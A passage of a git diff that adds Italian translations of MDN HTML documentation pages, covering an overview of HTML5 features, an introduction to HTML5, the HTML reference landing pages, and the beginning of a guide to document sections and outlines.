+ <dd>Questa tecnologia, in cui RTC sta per Real Time Communication, permette di connettersi ad altre persone e controllare direttamente la videoconferenza nel browser, senza bisogno di plugin o applicazioni esterne.</dd>
+</dl>
+
+<h2 id="Offline_Memorizzazione" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Offline &amp; Memorizzazione</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">Risorse Offline: la cache dell'applicazione</a></dt>
+ <dd>Firefox supporta a pieno le specifiche offline di HTML5. La maggior parte degli altri browser hanno un qualche livello di supporto per le risorse offline.</dd>
+ <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Eventi online e offline</a></dt>
+ <dd>Firefox 3 supporta eventi WHATWG online e offline, che lasciano rilevare alle applicazioni ed estensioni se c'è o no una connessione internet attiva, nonché quando la connessione cambia stato.</dd>
+ <dt><a href="/en-US/docs/DOM/Storage" title="DOM/Storage">Sessione WHATWG lato client e memorizzazione persistente (alias Memorizzazione DOM)</a></dt>
+ <dd>La memorizzazione lato client, persistente e di sessione, permette alle applicazioni web di immagazzinare strutture dati lato client.</dd>
+ <dt><a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
+ <dd>E' uno standard web per la memorizzazione nel browser di significative quantità di dati strutturati e per ricerche indicizzate ad elevate prestazioni su tali dati.</dd>
+ <dt><a href="/en-US/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">Utilizzare file da applicazioni web</a></dt>
+ <dd>Il supporto per le nuove API per i file in HTML5 è stato aggiunto a Gecko, rendendo possibile l'accesso a file locali selezionati dall'utente. Ciò include il supporto per la selezione multipla di file utilizzando il nuovo attributo <a href="/en-US/docs/HTML/Element/Input#attr-multiple" title="HTML/Element/input#attr-multiple"><strong>multiple</strong></a> con <a href="/en-US/docs/HTML/Element/Input#attr-type" title="HTML/Element/input#attr-type"><strong>type</strong></a> <span style="font-family: courier new;">file</span> dell'elemento <span style="font-family: monospace;">{{HTMLElement("input")}}</span>. C'è anche <a href="/en-US/docs/DOM/FileReader" title="DOM/FileReader"><code>FileReader</code></a>.</dd>
+</dl>
+
+<h2 id="Multimedia" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Multimedia</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Utilizzare audio e video in HTML5</a></dt>
+ <dd>Gli elementi {{HTMLElement("audio")}} e {{HTMLElement("video")}} incorporano e permetto la manipolazione di nuovi contenuti multimediali.</dd>
+ <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
+ <dd>Questa tecnologia, in cui RTC sta per Real Time Communication, permette di connettersi ad altre persone e controlla direttamente la videoconferenza nel browser, senza bisogno di plugin o applicazioni esterne.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">Utilizzo della API Camera</a></dt>
+ <dd>Permette di usare, manipolare e memorizzare un'immagine dalla fotocamera del computer.</dd>
+ <dt>Track e WebVTT</dt>
+ <dd>L'elemento {{HTMLElement("track")}} consente capitoli e sottotitoli. <a href="/en-US/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> è un formato di traccia testuale.</dd>
+</dl>
+
+<h2 id="Grafica_Effetti_3D" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Grafica &amp; Effetti 3D</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Canvas_tutorial" title="Tutorial Canvas">Tutorial sui Canvas</a></dt>
+ <dd>Apprendi il nuovo elemento <code>{{HTMLElement("canvas")}}</code> e come disegnare grafica ed altri oggetti in Firefox</dd>
+ <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">API di testo per gli elementi <code>&lt;canvas&gt;</code>  di HTML5</a></dt>
+ <dd>Le API di testo di HTML5 sono ora supportate agli elementi {{HTMLElement("canvas")}}.</dd>
+ <dt><a href="/en-US/docs/WebGL" title="WebGL">WebGL</a></dt>
+ <dd>WebGL porta la grafica 3D sul Web introducendo una API strettamente conforme a OpenGL ES 2.0 utilizzata negli elementi {{HTMLElement("canvas")}} di HTML5.</dd>
+ <dt><a href="/en-US/docs/SVG" title="SVG">SVG</a></dt>
+ <dd>Un formato di immagine vettoriale basato su XML che può essere direttamente incorporato nel documento HTML.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="Prestazioni_integrazione" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Prestazioni &amp; integrazione</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_web_workers" title="Usare i web workers">Web Workers</a></dt>
+ <dd>Permette di delegare l'esecuzione JavaScript a thread in background, impedendo a queste attività di rallentare gli eventi interattivi.</dd>
+ <dt><code><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> Livello 2</dt>
+ <dd>Permette di ottenere asincronamente qualche parte della pagina e di visualizzarne dinamicamente il contenuto, variandolo nel tempo e in base alle azioni dell'utente. Questa è la tecnologia dietro <a href="/en-US/docs/AJAX" title="AJAX">Ajax</a>.</dd>
+ <dt>JIT-motori JavaScript compilati</dt>
+ <dd>La nuova generazione di motori JavaScript sono molto più potenti, e garantiscono maggiori prestazioni.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating_the_browser_history">History API</a></dt>
+ <dd>Permette la manipolazione della cronologia del browser. Ciò è particolarmente utile per le pagine che caricano nuove informazioni interattivamente.</dd>
+ <dt><a href="/en-US/docs/HTML/Content_Editable" title="HTML/Content Editable">L'attributo contentEditable: trasforma il tuo sito web in un wiki!</a></dt>
+ <dd>HTML5 ha standardizzato l'attributo contentEditable.</dd>
+ <dt><a href="/en-US/docs/DragDrop/Drag_and_Drop" title="DragDrop/Drag_and_Drop">Drag &amp; drop</a></dt>
+ <dd>Le API per il drag &amp; drop in HTML5 supportano il trascinamento e rilascio di voci all'interno del sito e tra siti web. Fornisce anche una API più semplice per l'uso da parte di estensioni e applicazioni basate su Mozilla.</dd>
+ <dt><a href="/en-US/docs/Focus_management_in_HTML" title="Focus_management_in_HTML">Gestione del focus in HTML</a></dt>
+ <dd>Sono supportati i nuovi attributiHTML5 <code>activeElement</code> e <code>hasFocus</code>.</dd>
+ <dt><a href="/en-US/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">Gestori di protocollo basato sul Web</a></dt>
+ <dd>E' ora possibile registrare applicazioni web come gestori di protocollo utilizzando il metodo <code>navigator.registerProtocolHandler()</code>.</dd>
+ <dt><a href="/en-US/docs/DOM/window.requestAnimationFrame" title="DOM/window.requestAnimationFrame"><code>requestAnimationFrame</code></a></dt>
+ <dd>Permette di controllare il rendering delle animazioni per ottenere prestazioni ottimali.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_full-screen_mode" title="DOM/Using_full-screen_mode">Fullscreen API</a></dt>
+ <dd>Controlla l'utilizzo a pieno schermo da parte di pagine web e applicazioni, senza la visualizzazione della UI del browser.</dd>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">Pointer Lock API</a></dt>
+ <dd>Permette di bloccare il puntatore al contenuto, così giochi e applicazioni simili non perdono il focus quando il puntatore ne oltrepassa il margine.</dd>
+ <dt><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Eventi online ed offline</a></dt>
+ <dd>Al fine di costruire una buona applicazione web capace di lavorare offline, hai bisogno di sapere quando l'applicazione è offline. Hai anche bisogno di sapere quando l'applicazione torna nello stato online.</dd>
+</dl>
+
+<h2 id="Accesso_ai_Dispositivi" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Accesso ai Dispositivi</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">Utilizzare le API Camera</a></dt>
+ <dd>Permette di utilizzare, manipolare e immagazzinare immagini dalla fotocamera del computer.</dd>
+ <dt><a href="/en-US/docs/DOM/Touch_events" title="DOM/Touch_events">Eventi Touch</a></dt>
+ <dd>Gestori che reagiscono ad eventi creati dalla pressione sullo schermo da parte dell'utente.</dd>
+ <dt><a href="/en-US/docs/Using_geolocation" title="Using geolocation">Utilizzare la geolocalizzazione</a></dt>
+ <dd>Permetti al browser di localizzare la posizione dell'utente grazie alla geolocalizzazione.</dd>
+ <dt><a href="/en-US/docs/Detecting_device_orientation" title="Detecting_device_orientation">Rilevazione orientamento del dispositivo</a></dt>
+ <dd>Lascia che il browser sia informato del cambio di orientamento del dispositivo. Può essere utilizzato come metodo di input (per esempio per realizzare giochi che reagiscono alla posizione del dispositivo) o per adattare l'impaginazione all'orientamento dello schermo (potrait o landscape).</dd>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="API/Pointer_Lock_API">Pointer Lock API</a></dt>
+ <dd>Permette di bloccare il puntatore al contenuto, così giochi e applicazioni simili non perdono il focus quando il puntatore ne oltrepassa il margine.</dd>
+</dl>
+
+<h2 id="Stile" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Stile</h2>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> è stato esteso consentendo elementi di stile più complessi. E' spesso identificato come <a href="/en-US/docs/CSS/CSS3" title="CSS/CSS3">CSS3</a>, sebbene CSS non sia comunque una specifica monolitica e i differenti moduli non siano tutti di livello 3: alcuni sono di livello 1, ed altri di livello 4, con tutti i livelli intermedi.</p>
+
+<dl>
+ <dt>Nuove caratteristiche di stile per lo sfondo</dt>
+ <dd>E' ora possibile aggiungere un'ombra a un box, utilizzando{{cssxref("box-shadow")}} ed impostare <a href="/en-US/docs/CSS/Multiple_backgrounds" title="CSS/Multiple_backgrounds">sfondi multipli</a>.</dd>
+ <dt>Bordi più fantasiosi</dt>
+ <dd>Non è solo possibile utilizzare le immagini come stile dei bordi, utilizzando {{cssxref("border-image")}} e le proprietà associate, ma sono supportati i bordi arrotondati per mezzo della proprietà {{cssxref("border-radius")}}.</dd>
+ <dt>Anima il tuo stile</dt>
+ <dd>Utilizzando le <a href="/en-US/docs/CSS/Using_CSS_transitions" title="CSS/Using_CSS_transitions">Transizioni CSS</a> per animare il passaggio tra stati, o utilizzando le <a href="/en-US/docs/CSS/Using_CSS_animations" title="CSS/Using_CSS_animations">Animazioni CSS</a> per animare parti della pagina senza un evento scatenante, puoi controllare gli elementi mobili sulla pagina.</dd>
+ <dt>Miglioramenti tipografici</dt>
+ <dd>Gli autori hanno un miglior controllo per ottenere un migliore aspetto tipografico. Possono controllare il {{cssxref("text-overflow")}} e la <a href="/en-US/docs/CSS/hyphens" title="CSS/hyphens">sillabazione</a>, ma possono anche applicare <a href="/en-US/docs/CSS/text-shadow" title="CSS/text-shadow">un'ombra</a> o controllare più precisamente la <a href="/en-US/docs/CSS/text-decoration" title="SVG/Attribute/text-decoration">decorazione</a>. Caratteri tipografici personalizzati possono essere scaricati e applicati grazie alla nuova regola {{cssxref("@font-face")}}.</dd>
+ <dt>Nuove impaginazioni per la presentazione</dt>
+ <dd>Al fine di migliorare la flessibilità di progettazione, sono stati aggiunti due nuovi layout: <a href="/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="CSS/Using_CSS_multi-column_layouts">Impaginazione CSS a colonna multipla</a>, e <a href="/en-US/docs/CSS/Flexbox" title="CSS/Flexbox">l'impaginazione CSS a box flessibile</a>.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/it/web/html/html5/introduction_to_html5/index.html b/files/it/web/html/html5/introduction_to_html5/index.html
new file mode 100644
index 0000000000..14fe305eb6
--- /dev/null
+++ b/files/it/web/html/html5/introduction_to_html5/index.html
@@ -0,0 +1,22 @@
+---
+title: Introduzione a HTML5
+slug: Web/HTML/HTML5/Introduction_to_HTML5
+translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5
+---
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a> è la quinta revisione e l'ultima versione dello standard HTML. Propone nuove funzionalità che forniscono il supporto dei rich media, la creazione di applicazioni web in grado di interagire con l'utente, con i suoi dati locali e i servers, in maniera più facile ed efficiente di prima.</p>
+<p>Poiché HTML5 è ancora in fase di sviluppo, inevitabilmente ci saranno altre modifiche alle specifiche. Pertanto al momento non tutte le funzioni sono supportate da tutti i browser. Tuttavia Gecko, e per estensione Firefox, supporta HTML5 in maniera ottimale, e gli sviluppatori continuano a lavorare per supportare ancora più funzionalità. Gecko ha iniziato a supportare alcune funzionalità di HTML5 dalla versione 1.8.1. È possibile trovare un elenco di tutte le funzionalità HTML5 che Gecko supporta attualmente nella <a href="/it/HTML/HTML5" title="it/HTML/HTML5">pagina principale di HTML5</a>. Per informazioni dettagliate sul supporto degli altri browser delle funzionalità HTML5, fare riferimento al sito web <a class="external" href="http://caniuse.com/#cats=HTML5" title="http://caniuse.com/#cats=HTML5">CanIUse</a>.</p>
+<h2 id="Dichiarare_che_un_documento_contiene_mark-up_HTML5_con_il_doctype_HTML">Dichiarare che un documento contiene mark-up HTML5 con il doctype HTML</h2>
+<p>Il doctype per HTML5 è semplicissimo. Per specificare che il vostro contenuto HTML utilizza HTML5, basta dichiarare:</p>
+<pre class="brush:html;">&lt;!DOCTYPE html&gt;
+</pre>
+<p>Così facendo persino i browser che attualmente non supportano HTML5 entreranno in modalità standard, cioè interpreteranno il codice HTML in modo compatibile con HTML5, ignorando le nuove funzionalità di HTML5 se non le supportano.</p>
+<p>È molto più semplice rispetto ai precedenti doctype, oltre che più breve, quindi più facile da ricordare e riduce anche la quantità di byte scaricati dall'utente.</p>
+<h2 id="Dichiarare_il_set_di_caratteri_con_&lt;meta_charset>">Dichiarare il set di caratteri con <code>&lt;meta charset&gt;</code></h2>
+<p>Indicare il set di caratteri che verrà utilizzato è solitamente la prima cosa da fare in un documento HTML. La specifica precedente richiedeva un elemento {{HTMLElement("meta")}} molto complesso. Ora è facilissimo:</p>
+<pre class="brush:html;">&lt;meta charset="UTF-8"&gt;</pre>
+<p>Ricordati di inserire questo tag subito dopo l'apertura del {{HTMLElement("head") }}, perché alcuni browser riavviano il parsing di un documento HTML se il set di caratteri dichiarato è diverso da quello che avevano previsto. Inoltre consigliamo sempre di usare il set UTF-8, ove possibile, perché semplifica la gestione dei caratteri nei documenti utilizzando diversi script.</p>
+<p>Nota bene: HTML5 limita il set di caratteri validi a quelli compatibili con ASCII e che usano almeno 8 bit. Ciò è stato deciso per motivi di sicurezza e per prevenire alcuni tipi di attacchi.</p>
+<h2 id="Usare_il_nuovo_parser_HTML5">Usare il nuovo parser HTML5</h2>
+<p>La regola di parsing di HTML5, che analizza il significato del mark-up, è stata definita con maggiore precisione in HTML5. Fino all'introduzione di HTML5, le uniche regole riguardavano il mark-up <em>valido</em>, quindi il comportamento del parser in caso di errori (e la maggior parte dei siti web ne ha almeno uno) era indefinito. In sostanza, tutti i browser si comportavano in modo diverso. Ora, di fronte a errori nel mark-up, tutti i browser conformi devono comportarsi esattamente nello stesso modo.</p>
+<p>Questo obbligo aiuta non poco gli sviluppatori. Anche se tutti i browser moderni ora applicano queste regole di analisi HTML5, alcuni utenti navigano ancora con browser non compatibili con HTML5. Tenete a mente che è ancora altamente raccomandato stendere mark-up valido, in modo che il codice sia facile da leggere e mantenere nel tempo, e diminuisca notevolmente la probabilità di incompatibilità con i vari browser più datati.</p>
+<p>Non preoccuparti — non devi cambiare nulla del tuo sito Web — gli sviluppatori dei browser hanno già fatto tutto per te!</p>
diff --git a/files/it/web/html/index.html b/files/it/web/html/index.html
new file mode 100644
index 0000000000..085a15bd7a
--- /dev/null
+++ b/files/it/web/html/index.html
@@ -0,0 +1,75 @@
+---
+title: 'HTML: Hypertext Markup Language'
+slug: Web/HTML
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>HTML</strong> (HyperText Markup Language) è il linguaggio utilizzato per creare pagine web e altri tipi di documenti visualizzabili in un browser. Insieme all'HTML vengono utilizzate altre tecnologie per modificare la presentazione/apparenza di una pagina web (<a href="/it/docs/Web/CSS">CSS</a>) o la sua funzionalità (<a href="/it/docs/Web/JavaScript">JavaScript</a>).</span></p>
+
+<p>Con "Hypertext" si fa riferimento ai link che connettono pagine web con altre, sia all'interno di un singolo sito web o tra più siti web. I link sono un aspetto fondamentale del Web. Caricando contenuti su Internet e collegandoli a pagine create da altri utenti, diventi un partecipante attivo nel World Wide Web.</p>
+
+<p>L'HTML utilizza il "markup" per annotare testo, immagini e altri contenuti da mostrare in un browser Web. Il markup HTML include "elementi" speciali come {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}}, {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("li")}} e molti altri.</p>
+
+<p>Un elemento HTML viene distinto in un documento dal resto del testo tramite i "tag", che consiste nel nome dell'elemento circondato da "<code>&lt;</code>" e "<code>&gt;</code>". Il nome di un elemento all'interno di un tag è case insensitive. Questo significa che può essere scritto in maiuscolo, minuscolo o misto. Ad esempio il tag <code>&lt;title&gt;</code> può essere scritto come <code>&lt;Title&gt;</code>, <code>&lt;TITLE&gt;</code>, o in qualsiasi altro modo.</p>
+
+<p>Gli articolo qui sotto possono aiutarti a saperne di più sull'HTML.</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentazione su HTML</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/HTML/Introduction" title="Introduction to HTML"><strong>Introduzione ad HTML</strong></a></dt>
+ <dd>La pagina fornisce informazioni base sulla sintassi e semantica di una pagina HTML (documento). Ciò fornirà le inormazioni base imprescindibili per lo sviluppo di documenti HTML.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/HTML/Element" title="HTML/Element">Riferimento degli elementi HTML</a></dt>
+ <dd>Ottenere i dettagli su ogni elemento supportato dai differenti browser.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/HTML/Attributes" title="HTML/Attributes">Elenco degli attributi HTML</a></dt>
+ <dd>Vedere tutti gli attributi e a quali elementi sono associati.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/HTML/HTML5" title="HTML/HTML5">HTML5</a></dt>
+ <dd>Apprendere le nuove API e gli elementi di HTML5 insieme al loro supporto.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/HTML/Forms" title="HTML/Forms">Guida ai moduli HTML</a></dt>
+ <dd>I moduli HTML sono una parte complessa di HTML. Questa guida aiuterà a padroneggiarli, dalla struttura allo stile, dal supporto del browser ai controlli personalizzati.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/Web_development/Historical_artifacts_to_avoid" title="HTML/Bad_copy_pasting_habits">Cattive abitudini da "copie e incolla"</a></dt>
+ <dd>Le tecnologie web sono molto spesso apprese guardando i sorgenti di altre pagine e facendone il copia e incolla. D'altra parte, ciò significa spesso perpetuare cattive abitudini.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/HTML/Canvas/Drawing_Graphics_with_Canvas" title="Drawing_Graphics_with_Canvas">Fare Grafica con i Canvas</a></dt>
+ <dd>Un nuovo elemento per la grafica programmabile. <code>&lt;canvas&gt;</code> può essere utilizzato per il disegno, elementi della UI, e altri elementi grafici personalizzati sul client.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/HTML/Tips_for_authoring_fast-loading_HTML_pages" title="HTML/Tips for authoring fast-loading HTML pages">Suggerimenti per la Creazione di Pagine HTML dal Caricamento Rapido</a></dt>
+ <dd>Una pagina web ottimizzata non significa solo una maggiore reattività del sito per i tuoi visitatori, ma riduce anche il carico sui server web e la connessione internet.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="https://developer.mozilla.org/it/docs/tag/HTML" title="Article tagged: HTML">Vedi Tutto...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Community" name="Community">Ottenere aiuto dalla comunità</h2>
+
+<p>Hai bisogno di aiuto su un problema legato ad HTML e non trovi la soluzione nella documentazione?</p>
+
+<ul>
+ <li>Consulta il forum di Mozilla dedicato: {{DiscussionList("dev-tech-html", "mozilla.dev.tech.html")}}</li>
+ <li>Vai su <a href="http://stackoverflow.com/questions/tagged/html" title="http://stackoverflow.com/questions/tagged/css">Stack Overflow</a>, un sito di Q&amp;A collaborativo in cui trovare risposta alle tue domande o porne qualora non ne trovi.</li>
+</ul>
+
+<p><span class="alllinks"><a href="http://www.catb.org/%7Eesr/faqs/smart-questions.html">Non dimenticarti della <em>netiquette</em>...</a></span></p>
+
+<h2 class="Tools" id="Tools" name="Tools">Strumenti che semplificano lo sviluppo HTML</h2>
+
+<ul>
+ <li><a class="external" href="http://validator.w3.org/">Validatore HTML</a></li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">Web Developer Extension</a></li>
+ <li><a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a></li>
+ <li><a class="external" href="http://prettydiff.com/?html">Pretty Diff</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="https://developer.mozilla.org/it/docs/tag/HTML:Tools" title="Article tagged: HTML:Tools">Vedi Tutto...</a></span></p>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Argomenti correlati</h2>
+
+<ul>
+ <li>I <a href="https://developer.mozilla.org/it/docs/CSS" title="CSS">Cascading Style Sheets (CSS)</a> utilizzati per dare stile ad HTML.</li>
+ <li>Il <a href="https://developer.mozilla.org/docs/Document_Object_Model_%28DOM%29" title="Document Object Model (DOM)">Document Object Model (DOM)</a> è la rappresentazione di un documento HTML sotto forma di albero.</li>
+ <li><a href="https://developer.mozilla.org/it/docs/XHTML" title="XHTML">XHTML</a> è la versione <a href="https://developer.mozilla.org/docs/XML" title="XML">XML</a> del linguaggio.</li>
+</ul>
+</div>
+</div>
diff --git a/files/it/web/html/riferimento/index.html b/files/it/web/html/riferimento/index.html
new file mode 100644
index 0000000000..6dfc71219d
--- /dev/null
+++ b/files/it/web/html/riferimento/index.html
@@ -0,0 +1,46 @@
+---
+title: Riferimento HTML
+slug: Web/HTML/Riferimento
+tags:
+  - Elementi
+  - HTML
+  - Riferimento
+  - Web
+  - tag
+translation_of: Web/HTML/Reference
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><span class="seoSummary">HTML è il linguaggio che descrive la struttura e la semantica del contenuto di un documento Web; è composto da <strong>elementi</strong>, ciascuno dei quali può essere modificato da alcuni <strong>attributi</strong>. Il contenuto di una pagina Web viene marcato con etichette di elementi HTML come per esempio</span> {{HTMLElement("img")}}, {{HTMLElement("title")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, etc.</p>
+
+<p><span class="seoSummary">I contenuti qui presentati costituiscono materiale di riferimento da utilizzare per lo sviluppo Web.</span> MDN offre un riferimento a tutti gli elementi di HTML, così come a tutti gli attributi che governano il comportamento degli elementi.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Contenuti</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTML/Element">HTML element reference</a></dt>
+ <dd>This page lists all the HTML elements, which are created using tags.</dd>
+ <dt><a href="/en-US/docs/Web/HTML/Attributes">HTML attribute reference</a></dt>
+ <dd>Elements in HTML have attributes; these are additional values that configure the elements or adjust their behavior in various ways to meet the criteria the users want.</dd>
+ <dt><a href="/en-US/docs/Web/HTML/Global_attributes">Global attributes</a></dt>
+ <dd>Global attributes are attributes common to all HTML elements; they can be used on all elements, though they may have no effect on some elements.</dd>
+ <dt><a href="/en-US/docs/Web/HTML/Link_types">Link types</a></dt>
+ <dd>In HTML, the following link types indicate the relationship between two documents, in which one links to the other using an &lt;a&gt;, &lt;area&gt;, or &lt;link&gt; element.</dd>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Content_categories">Content Categories</a></dt>
+ <dd>Every HTML element is a member of one or more content categories — these categories group elements that share common characteristics.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/it-IT/docs/tag/HTML" title="Article tagged: HTML">View All...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">Guide e Tutorials</h2>
+
+<dl>
+ <dt><a href="/it-IT/docs/Web/Guide/HTML">Guida allo sviluppo HTML</a></dt>
+ <dd>Articoli MDN che mostrano tecniche specifiche per creare contenuti Web in HTML, tutorial e altro materiale utile a portata di mano.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/it/web/html/sections_and_outlines_of_an_html5_document/index.html b/files/it/web/html/sections_and_outlines_of_an_html5_document/index.html
new file mode 100644
index 0000000000..822543a758
--- /dev/null
+++ b/files/it/web/html/sections_and_outlines_of_an_html5_document/index.html
@@ -0,0 +1,320 @@
+---
+title: Sezioni e Struttura di un Documento HTML5
+slug: Web/HTML/Sections_and_Outlines_of_an_HTML5_document
+translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
+---
+<p>La specifica HTML5 rende disponibili numerosi nuovi elementi agli sviluppatori, permettendo ad essi di descrivere la struttura di un documento web tramite una semantica standard. Questa pagina descrive i nuovi elementi e spiega come usarli per definire la struttura di qualsiasi documento.</p>
+<h2 id="Struttura_di_un_Documento_in_HTML_4">Struttura di un Documento in HTML 4</h2>
+<p>La struttura di un documento, cioè la struttura semantica di ciò che si trova tra <code>&lt;body&gt;</code> e <code>&lt;/body&gt;</code>, è fondamentale nella presentazione della pagina all'utente. HTML 4 usa le nozioni di sezione e sotto-sezione di un documento per descrivere la sua struttura. Una sezione è definita da un Elemento HTML di Divisione ( {{HTMLElement("div")}} ) con un Elemento HTML di Intestazione ( {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, o {{HTMLElement("h6")}} ) al suo interno, che ne definisce il titolo. La relazione tra gli Elementi HTML di Divisione e gli Elementi HTML di Intestazione genera la struttura del documento.</p>
+<p>Dunque il seguente mark-up:</p>
+<div style="overflow: hidden;">
+  <pre class="brush:xml">&lt;div class="section" id="elefanti-delle-foreste" &gt;
+&lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+&lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+...la sezione continua...
+&lt;div class="subsection" id="elefanti-habitat" &gt;
+&lt;h2&gt;Habitat&lt;/h2&gt;
+&lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+...la sotto-sezione continua...
+&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+<p>genera la seguente struttura:</p>
+<pre>1. Elefanti delle foreste
+   1.1 Habitat
+</pre>
+<p>L'elemento {{HTMLElement("div")}} non è strettamente necessario per definire una nuova sezione. La mera presenza di un Elemento HTML di Intestazione è abbastanza per indicare una nuova sezione. Perciò:</p>
+<pre class="brush:xml">&lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+&lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+...la sezione continua...
+&lt;h2&gt;Habitat&lt;/h2&gt;
+&lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+...la sotto-sezione continua...
+&lt;h2&gt;Dieta&lt;/h2&gt;
+&lt;h1&gt;Gerbilli della Mongolia&lt;/h1&gt;
+</pre>
+<p>genera la seguente struttura:</p>
+<pre>1. Elefanti delle foreste
+   1.1 Habitat
+   1.2 Dieta
+2. Gerbilli della Mongolia
+</pre>
+<h2 id="Problemi_Risolti_da_HTML5">Problemi Risolti da HTML5</h2>
